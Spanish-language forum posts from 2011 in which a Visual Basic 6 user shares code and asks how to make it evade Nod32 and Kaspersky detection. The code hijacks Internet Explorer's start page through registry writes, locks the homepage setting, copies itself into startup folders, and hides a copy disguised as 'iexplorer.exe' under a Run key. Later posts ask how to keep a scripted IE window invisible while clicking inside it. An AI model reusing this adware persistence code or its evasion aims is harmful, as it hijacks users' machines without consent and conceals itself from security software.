Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - skynetp

Páginas: [1]
1
Visual Basic 6 / problemas con los AVS
« en: Julio 06, 2011, 02:53:33 am »
Hola
en esta ocacion pido su ayuda con respecto a los problemas q tengo
ando desarrollando un programa el cual tendra tiene para un autorun y algo de publicidad en mi web colocando pagina de inicio
bueno el problema es que el Nod32 y el Kapersky detecta mi archivo realmente no puedo darle una solucion.... encripte las cadenas q tengo en el code
pero aun asi no pude solucionarlo
espero q me puedan ayudar

coloco el codigo

Código: [Seleccionar]
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
     (ByVal lpBuffer As String, nSize As Long) As Long
Sub inicio()
    Dim win
    Dim sys
    Dim residencia
    On Error Resume Next
ejec = App.Path
     
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page\Microsoft Page", "webdelprograma.com"
residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page\Microsoft Page", "webdelprograma.com"
residencia.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\Homepage", "0"
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "webdelprograma.com"

End Sub


Sub copiar()


Dim Cop
Dim Arc
Dim basura
basura = ""


 
 On Error Resume Next

If basura = "123456" Then
 basura = "123456"
 Else
   Dim lpBuff As String * 25
     Dim ret As Long, UserName As String
   ret = GetUserName(lpBuff, 25)
     UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1)
  Set Arc = CreateObject("Scripting.FileSystemObject")
Cop = basura & App.Path & basura & "\" & basura & App.EXEName & basura & "." & basura & "e" & basura & "x" & basura & "e"
Arc.copyfile Cop, basura & "c:\" & basura & App.EXEName & basura & "." & basura & "e" & basura & "x" & basura & "e"
Arc.copyfile Cop, basura & "c" & ":" & "\" & "Documents " & basura & "and Settings" & "\All Users\" & basura & "Menú Inicio\" & basura & "Programas\" & basura & "Inicio\" & App.EXEName & "." & basura & "e" & basura & "x" & basura & "e"
Arc.copyfile Cop, basura & "C:\" & basura & "Users\" & UserName & "\AppData" & basura & "\Roaming\Microsoft" & basura & "\Windows\Start Menu\Programs\" & basura & "Startup\" & App.EXEName & "." & basura & "e" & basura & "x" & basura & "e"
Text3.Text = basura & "C:\" & basura & "Users\" & UserName & "\AppData" & basura & "\Roaming\Microsoft" & basura & "\Windows\Start Menu\Programs\" & basura & "Startup\" & App.EXEName & "." & basura & "e" & basura & "x" & basura & "e"
 End If
Err = 0

End Sub



Espero su ayuda

tambien encontre otro codigo muy bueno
pero tambien es detectado :(
aqui el codigo

Código: [Seleccionar]
Option Explicit


Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const REG_SZ = 1                         ' Unicode nul terminated string
Private Const REG_DWORD = 4                      ' 32-bit number
Private Const ERROR_SUCCESS = 0&

Public Enum pvpHK
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
    HKEY_PERFORMANCE_DATA = &H80000004
   
End Enum


Private Const pvpRunHKey = "Software\Microsoft\Windows\CurrentVersion\Run"

Private Sub savestring(ByVal Hkey As Long, strPath As String, strValue As String, strData As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strData, Len(strData))
    If r = 87 Then
        DeleteValue Hkey, strPath, strValue
    End If
    r = RegCloseKey(keyhand)
End Sub

Private Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegOpenKey(Hkey, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function

Public Function RunAtStartup(sAppTitle As String, strsAppName As String)
         savestring pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle, strsAppName
End Function

Public Function RemoveFromStartup(sAppTitle As String, strsAppName As String)
         DeleteValue pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle
End Function

'---------------

Private Sub Command1_Click()
On Error Resume Next

    FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\iexplorer.exe" 'Copy file
   
    RunAtStartup App.Title, Environ("AppData") & "\iexplorer.exe"
     SetFileAttributes Environ("AppData") & "\iexplorer.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it
End Sub

2
Visual Basic 6 / Re:problema con GetBrowserHandle
« en: Julio 01, 2011, 02:44:55 pm »
tambien creo q me estoy dando por vencido estar trabajando con ieframe.... creo q trabajare con el webbrowser... pero aun asi dentro de ahi tengo una duda sobre el popup
muchas veces la ventana da click en un imagen q abre una ventana nueva, pero lo hace en iexplorer....
como podria hacer q esa ventana aparesca oculta?

3
Visual Basic 6 / Re:problema con GetBrowserHandle
« en: Julio 01, 2011, 02:37:57 pm »
lo que queria es manipular una ventana html por medio del uso de handle
otro asunto es como dejar siempre oculto el ieframe aun si es que se usa la ventana
por ejemplo normalmente para dejarlo invisble se coloca valores en las propiedas del ieframe dejando .visible = false

pero si manipulo la ventana por ejemplo con un findwindows y mouse event... dandole click en un lugar determinado de la ventana abierta. esta deja de ser invisible

como podria hacerlo siempre invisible?

4
Visual Basic 6 / problema con GetBrowserHandle
« en: Julio 01, 2011, 02:35:58 am »
Hola espero que puedan ayudarme con esto:
hace dias encontre un modulo donde me ayuda a conseguir el handle de la ventana de internet explorer
con otro programa q tambien encontre. pude sacar el id del proceso de la ventana de IE
pero cada vez q se imprimia la pagina era un nuevo proceso de tal modo q el modulo no lo podia encontrar
espero q me puedan ayudar
con el winid el proceso el id es diferente y no se como añadirlo en mi codigo, para q pueda darle lectura

Código: [Seleccionar]
Private Sub Form_Load()
    hwnd = GetBrowserHandle(2360046) ' colokar el handle padre
 
    Debug.Print hwnd
End Sub

modulo :
Código: [Seleccionar]
Private Declare Function GetClassName Lib "user32.dll" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Dim hWndIE As Long

Private Function EnumChildProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
    Dim sClassName As String
    sClassName = String(255, vbNullChar)
    Call GetClassName(hwnd, sClassName, 255)
    sClassName = Left$(sClassName, InStr(sClassName, vbNullChar) - 1)
    If sClassName <> "Internet Explorer_Server" Then
        EnumChildProc = 1
    Else
        hWndIE = hwnd
    End If
End Function

Public Function GetBrowserHandle(ByVal hWndParent) As Long
    hWndIE = 0
    Call EnumChildWindows(hWndParent, AddressOf EnumChildProc, 1)
    GetBrowserHandle = hWndIE
End Function


normalmente lo hize trabajar con ieframe.... colocando valor en de posicion , altura y anchura de la ventana para abrir... y asi utilizar la ventana para otros procesos... , quize colocarlo oculto, pero cada vez q llamaba un nuevo proceso, por ejemplo el click dentro de esa ventana el ieframe oculto nuevamente se colocaba visible ,,, me gustaria q siempre trabaje en modo oculto
espero q me hayan entendido y me puedan ayudar
gracias

Páginas: [1]